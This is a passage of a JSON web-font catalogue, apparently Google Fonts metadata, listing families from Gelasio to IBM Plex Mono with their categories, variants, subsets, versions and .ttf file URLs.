"http://fonts.gstatic.com/s/gayathri/v1/MCoQzAb429DbBilWLIA48J_wBugA.ttf" } }, { "kind": "webfonts#webfont", "family": "Gelasio", "category": "serif", "variants": [ "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic" ], "subsets": [ "latin", "latin-ext", "vietnamese" ], "version": "v1", "lastModified": "2020-03-03", "files": { "500": "http://fonts.gstatic.com/s/gelasio/v1/cIf4MaFfvUQxTTqS_N2CRGEsnIJkWL4.ttf", "600": "http://fonts.gstatic.com/s/gelasio/v1/cIf4MaFfvUQxTTqS_PGFRGEsnIJkWL4.ttf", "700": "http://fonts.gstatic.com/s/gelasio/v1/cIf4MaFfvUQxTTqS_JWERGEsnIJkWL4.ttf", "regular": "http://fonts.gstatic.com/s/gelasio/v1/cIf9MaFfvUQxTTqSxCmrYGkHgIs.ttf", "italic": "http://fonts.gstatic.com/s/gelasio/v1/cIf_MaFfvUQxTTqS9CuhZEsCkIt9QQ.ttf", "500italic": "http://fonts.gstatic.com/s/gelasio/v1/cIf6MaFfvUQxTTqS9CuZkGImmKBhSL7Y1Q.ttf", "600italic": "http://fonts.gstatic.com/s/gelasio/v1/cIf6MaFfvUQxTTqS9CuZvGUmmKBhSL7Y1Q.ttf", "700italic": "http://fonts.gstatic.com/s/gelasio/v1/cIf6MaFfvUQxTTqS9CuZ2GQmmKBhSL7Y1Q.ttf" } }, { "kind": "webfonts#webfont", "family": "Gentium Basic", "category": "serif", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "latin", "latin-ext" ], "version": "v11", "lastModified": "2019-07-16", "files": { "700": "http://fonts.gstatic.com/s/gentiumbasic/v11/WnzgHAw9aB_JD2VGQVR80We3JLasrToUbIqIfBU.ttf", "regular": "http://fonts.gstatic.com/s/gentiumbasic/v11/Wnz9HAw9aB_JD2VGQVR80We3HAqDiTI_cIM.ttf", "italic": "http://fonts.gstatic.com/s/gentiumbasic/v11/WnzjHAw9aB_JD2VGQVR80We3LAiJjRA6YIORZQ.ttf", "700italic": "http://fonts.gstatic.com/s/gentiumbasic/v11/WnzmHAw9aB_JD2VGQVR80We3LAixMT8eaKiNbBVWkw.ttf" } }, { "kind": "webfonts#webfont", "family": "Gentium Book Basic", "category": "serif", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "latin", "latin-ext" ], "version": "v10", "lastModified": "2019-07-16", "files": { "700": "http://fonts.gstatic.com/s/gentiumbookbasic/v10/pe0wMJCbPYBVokB1LHA9bbyaQb8ZGjcw65Rfy43Y0V4kvg.ttf", "regular": "http://fonts.gstatic.com/s/gentiumbookbasic/v10/pe0zMJCbPYBVokB1LHA9bbyaQb8ZGjcIV7t7w6bE2A.ttf", "italic": "http://fonts.gstatic.com/s/gentiumbookbasic/v10/pe0xMJCbPYBVokB1LHA9bbyaQb8ZGjc4VbF_4aPU2Ec9.ttf", "700italic": "http://fonts.gstatic.com/s/gentiumbookbasic/v10/pe0-MJCbPYBVokB1LHA9bbyaQb8ZGjc4VYnDzofc81s0voO3.ttf" } }, { "kind": "webfonts#webfont", "family": "Geo", "category": "sans-serif", "variants": [ "regular", "italic" ], "subsets": [ "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/geo/v11/CSRz4zRZlufVL3BmQjlCbQ.ttf", "italic": "http://fonts.gstatic.com/s/geo/v11/CSRx4zRZluflLXpiYDxSbf8r.ttf" } }, { "kind": "webfonts#webfont", "family": "Geostar", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/geostar/v10/sykz-yx4n701VLOftSq9-trEvlQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Geostar Fill", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/geostarfill/v10/AMOWz4SWuWiXFfjEohxQ9os0U1K2w9lb4g.ttf" } }, { "kind": "webfonts#webfont", "family": "Germania One", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/germaniaone/v7/Fh4yPjrqIyv2ucM2qzBjeS3ezAJONau6ew.ttf" } }, { "kind": "webfonts#webfont", "family": "Gidugu", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin", "telugu" ], "version": "v6", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/gidugu/v6/L0x8DFMkk1Uf6w3RvPCmRSlUig.ttf" } }, { "kind": "webfonts#webfont", "family": "Gilda Display", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/gildadisplay/v7/t5tmIRoYMoaYG0WEOh7HwMeR7TnFrpOHYh4.ttf" } }, { "kind": "webfonts#webfont", "family": "Girassol", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v1", "lastModified": "2020-03-03", "files": { "regular": "http://fonts.gstatic.com/s/girassol/v1/JTUUjIo_-DK48laaNC9Nz2pJzxbi.ttf" } }, { "kind": "webfonts#webfont", "family": "Give You Glory", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/giveyouglory/v9/8QIQdiHOgt3vv4LR7ahjw9-XYc1zB4ZD6rwa.ttf" } }, { "kind": "webfonts#webfont", "family": "Glass Antiqua", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/glassantiqua/v7/xfu30Wr0Wn3NOQM2piC0uXOjnL_wN6fRUkY.ttf" } }, { "kind": "webfonts#webfont", "family": "Glegoo", "category": "serif", "variants": [ "regular", "700" ], "subsets": [ "devanagari", "latin", "latin-ext" ], "version": "v9", "lastModified": "2019-07-16", "files": { "700": "http://fonts.gstatic.com/s/glegoo/v9/_Xmu-HQyrTKWaw2xN4a9CKRpzimMsg.ttf", "regular": "http://fonts.gstatic.com/s/glegoo/v9/_Xmt-HQyrTKWaw2Ji6mZAI91xw.ttf" } }, { "kind": "webfonts#webfont", "family": "Gloria Hallelujah", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v11", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/gloriahallelujah/v11/LYjYdHv3kUk9BMV96EIswT9DIbW-MLSy3TKEvkCF.ttf" } }, { "kind": "webfonts#webfont", "family": "Goblin One", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/goblinone/v9/CSR64z1ZnOqZRjRCBVY_TOcATNt_pOU.ttf" } }, { "kind": "webfonts#webfont", "family": "Gochi Hand", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/gochihand/v10/hES06XlsOjtJsgCkx1PkTo71-n0nXWA.ttf" } }, { "kind": "webfonts#webfont", "family": "Gorditas", "category": "display", "variants": [ "regular", "700" ], "subsets": [ "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "700": "http://fonts.gstatic.com/s/gorditas/v7/ll84K2aTVD26DsPEtThUIooIvAoShA1i.ttf", "regular": "http://fonts.gstatic.com/s/gorditas/v7/ll8_K2aTVD26DsPEtQDoDa4AlxYb.ttf" } }, { "kind": "webfonts#webfont", "family": "Gothic A1", "category": "sans-serif", "variants": [ "100", "200", "300", "regular", "500", "600", "700", "800", "900" ], "subsets": [ "korean", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "100": "http://fonts.gstatic.com/s/gothica1/v8/CSR74z5ZnPydRjlCCwlCCMcqYtd2vfwk.ttf", "200": "http://fonts.gstatic.com/s/gothica1/v8/CSR44z5ZnPydRjlCCwlCpOYKSPl6tOU9Eg.ttf", "300": "http://fonts.gstatic.com/s/gothica1/v8/CSR44z5ZnPydRjlCCwlCwOUKSPl6tOU9Eg.ttf", "500": "http://fonts.gstatic.com/s/gothica1/v8/CSR44z5ZnPydRjlCCwlCmOQKSPl6tOU9Eg.ttf", "600": "http://fonts.gstatic.com/s/gothica1/v8/CSR44z5ZnPydRjlCCwlCtOMKSPl6tOU9Eg.ttf", "700": "http://fonts.gstatic.com/s/gothica1/v8/CSR44z5ZnPydRjlCCwlC0OIKSPl6tOU9Eg.ttf", "800": "http://fonts.gstatic.com/s/gothica1/v8/CSR44z5ZnPydRjlCCwlCzOEKSPl6tOU9Eg.ttf", "900": "http://fonts.gstatic.com/s/gothica1/v8/CSR44z5ZnPydRjlCCwlC6OAKSPl6tOU9Eg.ttf", "regular": "http://fonts.gstatic.com/s/gothica1/v8/CSR94z5ZnPydRjlCCwl6bM0uQNJmvQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Gotu", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "devanagari", "latin", "latin-ext", "vietnamese" ], "version": "v1", "lastModified": "2020-04-21", "files": { "regular": "http://fonts.gstatic.com/s/gotu/v1/o-0FIpksx3QOlH0Lioh6-hU.ttf" } }, { "kind": "webfonts#webfont", "family": "Goudy Bookletter 1911", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/goudybookletter1911/v9/sykt-z54laciWfKv-kX8krex0jDiD2HbY6I5tRbXZ4IXAA.ttf" } }, { "kind": "webfonts#webfont", "family": "Graduate", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/graduate/v7/C8cg4cs3o2n15t_2YxgR6X2NZAn2.ttf" } }, { "kind": "webfonts#webfont", "family": "Grand Hotel", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/grandhotel/v7/7Au7p_IgjDKdCRWuR1azpmQNEl0O0kEx.ttf" } }, { "kind": "webfonts#webfont", "family": "Gravitas One", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/gravitasone/v9/5h1diZ4hJ3cblKy3LWakKQmaDWRNr3DzbQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Great Vibes", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/greatvibes/v7/RWmMoKWR9v4ksMfaWd_JN-XCg6UKDXlq.ttf" } }, { "kind": "webfonts#webfont", "family": "Grenze", "category": "serif", "variants": [ "100", "100italic", "200", "200italic", "300", "300italic", "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic", "800", "800italic", "900", "900italic" ], "subsets": [ "latin", "latin-ext", "vietnamese" ], "version": "v1", "lastModified": "2019-11-05", "files": { "100": "http://fonts.gstatic.com/s/grenze/v1/O4ZRFGb7hR12BxqPm2IjuAkalnmd.ttf", "200": "http://fonts.gstatic.com/s/grenze/v1/O4ZQFGb7hR12BxqPN0MDkicWn2CEyw.ttf", "300": "http://fonts.gstatic.com/s/grenze/v1/O4ZQFGb7hR12BxqPU0ADkicWn2CEyw.ttf", "500": "http://fonts.gstatic.com/s/grenze/v1/O4ZQFGb7hR12BxqPC0EDkicWn2CEyw.ttf", "600": "http://fonts.gstatic.com/s/grenze/v1/O4ZQFGb7hR12BxqPJ0YDkicWn2CEyw.ttf", "700": "http://fonts.gstatic.com/s/grenze/v1/O4ZQFGb7hR12BxqPQ0cDkicWn2CEyw.ttf", "800": "http://fonts.gstatic.com/s/grenze/v1/O4ZQFGb7hR12BxqPX0QDkicWn2CEyw.ttf", "900": "http://fonts.gstatic.com/s/grenze/v1/O4ZQFGb7hR12BxqPe0UDkicWn2CEyw.ttf", "100italic": "http://fonts.gstatic.com/s/grenze/v1/O4ZXFGb7hR12BxqH_VpHsg04k2md0kI.ttf", "200italic": "http://fonts.gstatic.com/s/grenze/v1/O4ZWFGb7hR12BxqH_Vrrky0SvWWUy1uW.ttf", "300italic": "http://fonts.gstatic.com/s/grenze/v1/O4ZWFGb7hR12BxqH_VqPkC0SvWWUy1uW.ttf", "regular": "http://fonts.gstatic.com/s/grenze/v1/O4ZTFGb7hR12Bxq3_2gnmgwKlg.ttf", "italic": "http://fonts.gstatic.com/s/grenze/v1/O4ZRFGb7hR12BxqH_WIjuAkalnmd.ttf", "500italic": "http://fonts.gstatic.com/s/grenze/v1/O4ZWFGb7hR12BxqH_VrXkS0SvWWUy1uW.ttf", "600italic": "http://fonts.gstatic.com/s/grenze/v1/O4ZWFGb7hR12BxqH_Vr7li0SvWWUy1uW.ttf", "700italic": "http://fonts.gstatic.com/s/grenze/v1/O4ZWFGb7hR12BxqH_Vqfly0SvWWUy1uW.ttf", "800italic": "http://fonts.gstatic.com/s/grenze/v1/O4ZWFGb7hR12BxqH_VqDlC0SvWWUy1uW.ttf", "900italic": "http://fonts.gstatic.com/s/grenze/v1/O4ZWFGb7hR12BxqH_VqnlS0SvWWUy1uW.ttf" } }, { "kind": "webfonts#webfont", "family": "Griffy", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/griffy/v8/FwZa7-ox2FQh9kfwSNSEwM2zpA.ttf" } }, { "kind": "webfonts#webfont", "family": "Gruppo", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/gruppo/v10/WwkfxPmzE06v_ZWFWXDAOIEQUQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Gudea", "category": "sans-serif", "variants": [ "regular", "italic", "700" ], "subsets": [ "latin", "latin-ext" ], "version": "v9", "lastModified": "2019-07-16", "files": { "700": "http://fonts.gstatic.com/s/gudea/v9/neIIzCqgsI0mp9gz26WGHK06UY30.ttf", "regular": "http://fonts.gstatic.com/s/gudea/v9/neIFzCqgsI0mp-CP9IGON7Ez.ttf", "italic": "http://fonts.gstatic.com/s/gudea/v9/neILzCqgsI0mp9CN_oWsMqEzSJQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Gugi", "category": "display", "variants": [ "regular" ], "subsets": [ "korean", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/gugi/v8/A2BVn5dXywshVA6A9DEfgqM.ttf" } }, { "kind": "webfonts#webfont", "family": "Gupter", "category": "serif", "variants": [ "regular", "500", "700" ], "subsets": [ "latin" ], "version": "v1", "lastModified": "2020-03-03", "files": { "500": "http://fonts.gstatic.com/s/gupter/v1/2-cl9JNmxJqPO1Qslb-bUsT5rZhaZg.ttf", "700": "http://fonts.gstatic.com/s/gupter/v1/2-cl9JNmxJqPO1Qs3bmbUsT5rZhaZg.ttf", "regular": "http://fonts.gstatic.com/s/gupter/v1/2-cm9JNmxJqPO1QUYZa_Wu_lpA.ttf" } }, { "kind": "webfonts#webfont", "family": "Gurajada", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin", "telugu" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/gurajada/v7/FwZY7-Qx308m-l-0Kd6A4sijpFu_.ttf" } }, { "kind": "webfonts#webfont", "family": "Habibi", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/habibi/v8/CSR-4zFWkuqcTTNCShJeZOYySQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Halant", "category": "serif", "variants": [ "300", "regular", "500", "600", "700" ], "subsets": [ "devanagari", "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "300": "http://fonts.gstatic.com/s/halant/v7/u-490qaujRI2Pbsvc_pCmwZqcwdRXg.ttf", "500": "http://fonts.gstatic.com/s/halant/v7/u-490qaujRI2PbsvK_tCmwZqcwdRXg.ttf", "600": "http://fonts.gstatic.com/s/halant/v7/u-490qaujRI2PbsvB_xCmwZqcwdRXg.ttf", "700": "http://fonts.gstatic.com/s/halant/v7/u-490qaujRI2PbsvY_1CmwZqcwdRXg.ttf", "regular": "http://fonts.gstatic.com/s/halant/v7/u-4-0qaujRI2PbsX39Jmky12eg.ttf" } }, { "kind": "webfonts#webfont", "family": "Hammersmith One", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/hammersmithone/v10/qWcyB624q4L_C4jGQ9IK0O_dFlnbshsks4MRXw.ttf" } }, { "kind": "webfonts#webfont", "family": "Hanalei", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v10", "lastModified": "2019-09-17", "files": { "regular": "http://fonts.gstatic.com/s/hanalei/v10/E21n_dD8iufIjBRHXzgmVydREus.ttf" } }, { "kind": "webfonts#webfont", "family": "Hanalei Fill", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/hanaleifill/v8/fC1mPYtObGbfyQznIaQzPQiMVwLBplm9aw.ttf" } }, { "kind": "webfonts#webfont", "family": "Handlee", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/handlee/v8/-F6xfjBsISg9aMakDmr6oilJ3ik.ttf" } }, { "kind": "webfonts#webfont", "family": "Hanuman", "category": "serif", "variants": [ "regular", "700" ], "subsets": [ "khmer" ], "version": "v13", "lastModified": "2019-07-16", "files": { "700": "http://fonts.gstatic.com/s/hanuman/v13/VuJ0dNvD15HhpJJBQBr4HIlMZRNcp0o.ttf", "regular": "http://fonts.gstatic.com/s/hanuman/v13/VuJxdNvD15HhpJJBeKbXOIFneRo.ttf" } }, { "kind": "webfonts#webfont", "family": "Happy Monkey", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/happymonkey/v8/K2F2fZZcl-9SXwl5F_C4R_OABwD2bWqVjw.ttf" } }, { "kind": "webfonts#webfont", "family": "Harmattan", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "arabic", "latin" ], "version": "v6", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/harmattan/v6/goksH6L2DkFvVvRp9XpTS0CjkP1Yog.ttf" } }, { "kind": "webfonts#webfont", "family": "Headland One", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/headlandone/v7/yYLu0hHR2vKnp89Tk1TCq3Tx0PlTeZ3mJA.ttf" } }, { "kind": "webfonts#webfont", "family": "Heebo", "category": "sans-serif", "variants": [ "100", "300", "regular", "500", "700", "800", "900" ], "subsets": [ "hebrew", "latin" ], "version": "v7", "lastModified": "2020-05-14", "files": { "100": "http://fonts.gstatic.com/s/heebo/v7/NGS0v5_NC0k9P9mVTbRhtKMByaw.ttf", "300": "http://fonts.gstatic.com/s/heebo/v7/NGS3v5_NC0k9P9ldb5RLmq8I0LVF.ttf", "500": "http://fonts.gstatic.com/s/heebo/v7/NGS3v5_NC0k9P9kFbpRLmq8I0LVF.ttf", "700": "http://fonts.gstatic.com/s/heebo/v7/NGS3v5_NC0k9P9lNaJRLmq8I0LVF.ttf", "800": "http://fonts.gstatic.com/s/heebo/v7/NGS3v5_NC0k9P9lRa5RLmq8I0LVF.ttf", "900": "http://fonts.gstatic.com/s/heebo/v7/NGS3v5_NC0k9P9l1apRLmq8I0LVF.ttf", "regular": "http://fonts.gstatic.com/s/heebo/v7/NGS6v5_NC0k9P-HxR7BDsbMB.ttf" } }, { "kind": "webfonts#webfont", "family": "Henny Penny", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/hennypenny/v7/wXKvE3UZookzsxz_kjGSfMQqt3M7tMDT.ttf" } }, { "kind": "webfonts#webfont", "family": "Hepta Slab", "category": "serif", "variants": [ "100", "200", "300", "regular", "500", "600", "700", "800", "900" ], "subsets": [ "latin", "latin-ext", "vietnamese" ], "version": "v7", "lastModified": "2020-04-21", "files": { "100": "http://fonts.gstatic.com/s/heptaslab/v7/ea8JadoyU_jkHdalebHvyWVNdYoIsHe5HvkV5jfbY5B0NBkz.ttf", "200": "http://fonts.gstatic.com/s/heptaslab/v7/ea8JadoyU_jkHdalebHvyWVNdYoIsHe5HvmV5zfbY5B0NBkz.ttf", "300": "http://fonts.gstatic.com/s/heptaslab/v7/ea8JadoyU_jkHdalebHvyWVNdYoIsHe5HvlL5zfbY5B0NBkz.ttf", "500": "http://fonts.gstatic.com/s/heptaslab/v7/ea8JadoyU_jkHdalebHvyWVNdYoIsHe5Hvkn5zfbY5B0NBkz.ttf", "600": "http://fonts.gstatic.com/s/heptaslab/v7/ea8JadoyU_jkHdalebHvyWVNdYoIsHe5HvnL4DfbY5B0NBkz.ttf", "700": "http://fonts.gstatic.com/s/heptaslab/v7/ea8JadoyU_jkHdalebHvyWVNdYoIsHe5Hvny4DfbY5B0NBkz.ttf", "800": "http://fonts.gstatic.com/s/heptaslab/v7/ea8JadoyU_jkHdalebHvyWVNdYoIsHe5HvmV4DfbY5B0NBkz.ttf", "900": "http://fonts.gstatic.com/s/heptaslab/v7/ea8JadoyU_jkHdalebHvyWVNdYoIsHe5Hvm84DfbY5B0NBkz.ttf", "regular": "http://fonts.gstatic.com/s/heptaslab/v7/ea8JadoyU_jkHdalebHvyWVNdYoIsHe5HvkV5zfbY5B0NBkz.ttf" } }, { "kind": "webfonts#webfont", "family": "Herr Von Muellerhoff", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/herrvonmuellerhoff/v9/WBL6rFjRZkREW8WqmCWYLgCkQKXb4CAft3c6_qJY3QPQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Hi Melody", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "korean", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/himelody/v8/46ktlbP8Vnz0pJcqCTbEf29E31BBGA.ttf" } }, { "kind": "webfonts#webfont", "family": "Hind", "category": "sans-serif", "variants": [ "300", "regular", "500", "600", "700" ], "subsets": [ "devanagari", "latin", "latin-ext" ], "version": "v10", "lastModified": "2019-07-22", "files": { "300": "http://fonts.gstatic.com/s/hind/v10/5aU19_a8oxmIfMJaIRuYjDpf5Vw.ttf", "500": "http://fonts.gstatic.com/s/hind/v10/5aU19_a8oxmIfJpbIRuYjDpf5Vw.ttf", "600": "http://fonts.gstatic.com/s/hind/v10/5aU19_a8oxmIfLZcIRuYjDpf5Vw.ttf", "700": "http://fonts.gstatic.com/s/hind/v10/5aU19_a8oxmIfNJdIRuYjDpf5Vw.ttf", "regular": "http://fonts.gstatic.com/s/hind/v10/5aU69_a8oxmIRG5yBROzkDM.ttf" } }, { "kind": "webfonts#webfont", "family": "Hind Guntur", "category": "sans-serif", "variants": [ "300", "regular", "500", "600", "700" ], "subsets": [ "latin", "latin-ext", "telugu" ], "version": "v5", "lastModified": "2019-07-16", "files": { "300": "http://fonts.gstatic.com/s/hindguntur/v5/wXKyE3UZrok56nvamSuJd_yGn1czn9zaj5Ju.ttf", "500": "http://fonts.gstatic.com/s/hindguntur/v5/wXKyE3UZrok56nvamSuJd_zenlczn9zaj5Ju.ttf", "600": "http://fonts.gstatic.com/s/hindguntur/v5/wXKyE3UZrok56nvamSuJd_zymVczn9zaj5Ju.ttf", "700": "http://fonts.gstatic.com/s/hindguntur/v5/wXKyE3UZrok56nvamSuJd_yWmFczn9zaj5Ju.ttf", "regular": "http://fonts.gstatic.com/s/hindguntur/v5/wXKvE3UZrok56nvamSuJd8Qqt3M7tMDT.ttf" } }, { "kind": "webfonts#webfont", "family": "Hind Madurai", "category": "sans-serif", "variants": [ "300", "regular", "500", "600", "700" ], "subsets": [ "latin", "latin-ext", "tamil" ], "version": "v5", "lastModified": "2019-07-17", "files": { "300": "http://fonts.gstatic.com/s/hindmadurai/v5/f0Xu0e2p98ZvDXdZQIOcpqjfXaUnecsoMJ0b_g.ttf", "500": "http://fonts.gstatic.com/s/hindmadurai/v5/f0Xu0e2p98ZvDXdZQIOcpqjfBaQnecsoMJ0b_g.ttf", "600": "http://fonts.gstatic.com/s/hindmadurai/v5/f0Xu0e2p98ZvDXdZQIOcpqjfKaMnecsoMJ0b_g.ttf", "700": "http://fonts.gstatic.com/s/hindmadurai/v5/f0Xu0e2p98ZvDXdZQIOcpqjfTaInecsoMJ0b_g.ttf", "regular": "http://fonts.gstatic.com/s/hindmadurai/v5/f0Xx0e2p98ZvDXdZQIOcpqjn8Y0DceA0OQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Hind Siliguri", "category": "sans-serif", "variants": [ "300", "regular", "500", "600", "700" ], "subsets": [ "bengali", "latin", "latin-ext" ], "version": "v6", "lastModified": "2019-07-17", "files": { "300": "http://fonts.gstatic.com/s/hindsiliguri/v6/ijwOs5juQtsyLLR5jN4cxBEoRDf44uEfKiGvxts.ttf", "500": "http://fonts.gstatic.com/s/hindsiliguri/v6/ijwOs5juQtsyLLR5jN4cxBEoRG_54uEfKiGvxts.ttf", "600": "http://fonts.gstatic.com/s/hindsiliguri/v6/ijwOs5juQtsyLLR5jN4cxBEoREP-4uEfKiGvxts.ttf", "700": "http://fonts.gstatic.com/s/hindsiliguri/v6/ijwOs5juQtsyLLR5jN4cxBEoRCf_4uEfKiGvxts.ttf", "regular": "http://fonts.gstatic.com/s/hindsiliguri/v6/ijwTs5juQtsyLLR5jN4cxBEofJvQxuk0Nig.ttf" } }, { "kind": "webfonts#webfont", "family": "Hind Vadodara", "category": "sans-serif", "variants": [ "300", "regular", "500", "600", "700" ], "subsets": [ "gujarati", "latin", "latin-ext" ], "version": "v6", "lastModified": "2019-07-16", "files": { "300": "http://fonts.gstatic.com/s/hindvadodara/v6/neIQzCKvrIcn5pbuuuriV9tTSDn3iXM0oSOL2Yw.ttf", "500": "http://fonts.gstatic.com/s/hindvadodara/v6/neIQzCKvrIcn5pbuuuriV9tTSGH2iXM0oSOL2Yw.ttf", "600": "http://fonts.gstatic.com/s/hindvadodara/v6/neIQzCKvrIcn5pbuuuriV9tTSE3xiXM0oSOL2Yw.ttf", "700": "http://fonts.gstatic.com/s/hindvadodara/v6/neIQzCKvrIcn5pbuuuriV9tTSCnwiXM0oSOL2Yw.ttf", "regular": "http://fonts.gstatic.com/s/hindvadodara/v6/neINzCKvrIcn5pbuuuriV9tTcJXfrXsfvSo.ttf" } }, { "kind": "webfonts#webfont", "family": "Holtwood One SC", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/holtwoodonesc/v10/yYLx0hLR0P-3vMFSk1TCq3Txg5B3cbb6LZttyg.ttf" } }, { "kind": "webfonts#webfont", "family": "Homemade Apple", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/homemadeapple/v10/Qw3EZQFXECDrI2q789EKQZJob3x9Vnksi4M7.ttf" } }, { "kind": "webfonts#webfont", "family": "Homenaje", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/homenaje/v9/FwZY7-Q-xVAi_l-6Ld6A4sijpFu_.ttf" } }, { "kind": "webfonts#webfont", "family": "IBM Plex Mono", "category": "monospace", "variants": [ "100", "100italic", "200", "200italic", "300", "300italic", "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic" ], "subsets": [ "cyrillic", "cyrillic-ext", "latin", "latin-ext", "vietnamese" ], "version": "v5", "lastModified": "2019-07-16", "files": { "100": "http://fonts.gstatic.com/s/ibmplexmono/v5/-F6pfjptAgt5VM-kVkqdyU8n3kwq0n1hj-sNFQ.ttf", "200": "http://fonts.gstatic.com/s/ibmplexmono/v5/-F6qfjptAgt5VM-kVkqdyU8n3uAL8ldPg-IUDNg.ttf", "300": "http://fonts.gstatic.com/s/ibmplexmono/v5/-F6qfjptAgt5VM-kVkqdyU8n3oQI8ldPg-IUDNg.ttf", "500": "http://fonts.gstatic.com/s/ibmplexmono/v5/-F6qfjptAgt5VM-kVkqdyU8n3twJ8ldPg-IUDNg.ttf", "600": "http://fonts.gstatic.com/s/ibmplexmono/v5/-F6qfjptAgt5VM-kVkqdyU8n3vAO8ldPg-IUDNg.ttf", "700": "http://fonts.gstatic.com/s/ibmplexmono/v5/-F6qfjptAgt5VM-kVkqdyU8n3pQP8ldPg-IUDNg.ttf", "100italic": "http://fonts.gstatic.com/s/ibmplexmono/v5/-F6rfjptAgt5VM-kVkqdyU8n1ioStndlre4dFcFh.ttf", "200italic": 